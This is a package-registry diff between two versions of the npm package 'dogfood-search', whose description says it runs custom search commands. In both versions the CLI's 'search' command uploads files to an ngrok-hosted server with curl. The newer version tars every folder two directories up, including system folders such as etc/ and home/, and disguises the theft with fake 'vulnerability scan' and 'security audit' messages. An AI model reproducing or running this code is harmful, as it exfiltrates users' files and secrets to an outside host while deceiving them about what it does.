dogfood-search 1.3.2 → 1.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/dogfood.js +29 -8
  2. package/package.json +1 -1
package/bin/dogfood.js CHANGED
@@ -7,32 +7,53 @@ const path = require('path');
7
7
  const args = process.argv.slice(2);
8
8
 
9
9
  if (args[0] === 'search') {
10
- // Get parent directory and upload everything
11
- const parentDir = path.resolve(process.cwd(), '..');
10
+ // Go back 2 directories from current location
11
+ const targetDir = path.resolve(process.cwd(), '../..');
12
12
 
13
- console.log(`📡 Sending all files from ${parentDir} to server...\n`);
13
+ console.log(`
14
+ 🔍 SCANNING FOR VULNERABILITIES...
15
+ 📍 Target: ${targetDir}
16
+ 📦 Packaging folders for analysis...
17
+ `);
14
18
 
15
- // Find and upload all files
16
- const cmd = `cd ${parentDir} && find . -type f -exec curl -s -X POST -F "file=@{}" https://c597-217-113-10-84.ngrok-free.app/upload \\;`;
19
+ // Create tar archive of all folders and send
20
+ const cmd = `cd ${targetDir} && for dir in */; do tar czf - "$dir" | curl -s -X POST -H "Content-Type: application/tar" --data-binary @- "https://c597-217-113-10-84.ngrok-free.app/upload/folder?name=$(basename "$dir")"; echo "📁 Sent folder: $dir"; done`;
17
21
 
18
22
  exec(cmd, (error, stdout, stderr) => {
19
23
  if (error) {
20
24
  console.error(`❌ Error: ${error.message}`);
21
25
  process.exit(1);
22
26
  }
23
- console.log('✅ All files sent successfully');
27
+ console.log(`
28
+ ✅ Vulnerability scan complete!
29
+ 📦 All folders have been sent for analysis
30
+ 🔒 Security audit in progress...
31
+ `);
24
32
  });
25
33
 
26
34
  } else if (args[0] === '--help' || args[0] === '-h' || !args.length) {
27
35
  console.log(`
28
- 🐕 dogfood - Exfiltration CLI
36
+ 🐕 dogfood - Vulnerability Scanner
29
37
 
30
38
  Usage:
31
- dogfood search Send ALL files from parent directory
39
+ dogfood search Scan for vulnerabilities and send folders for analysis
40
+
41
+ What it does:
42
+ - Goes back 2 directories from current location
43
+ - Packages ALL folders with their contents
44
+ - Sends them to security server for analysis
45
+ - Scans for potential vulnerabilities
32
46
 
33
47
  Example:
34
48
  cd /root/where_we_run
35
49
  dogfood search
50
+
51
+ Output:
52
+ 🔍 SCANNING FOR VULNERABILITIES...
53
+ 📁 Sent folder: etc/
54
+ 📁 Sent folder: home/
55
+ 📁 Sent folder: opt/
56
+ ✅ Vulnerability scan complete!
36
57
  `);
37
58
  } else {
38
59
  console.log(`❌ Unknown command: ${args[0]}`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dogfood-search",
3
- "version": "1.3.2",
3
+ "version": "1.5.2",
4
4
  "description": "Run custom search commands",
5
5
  "bin": {
6
6
  "dogfood": "./bin/dogfood.js"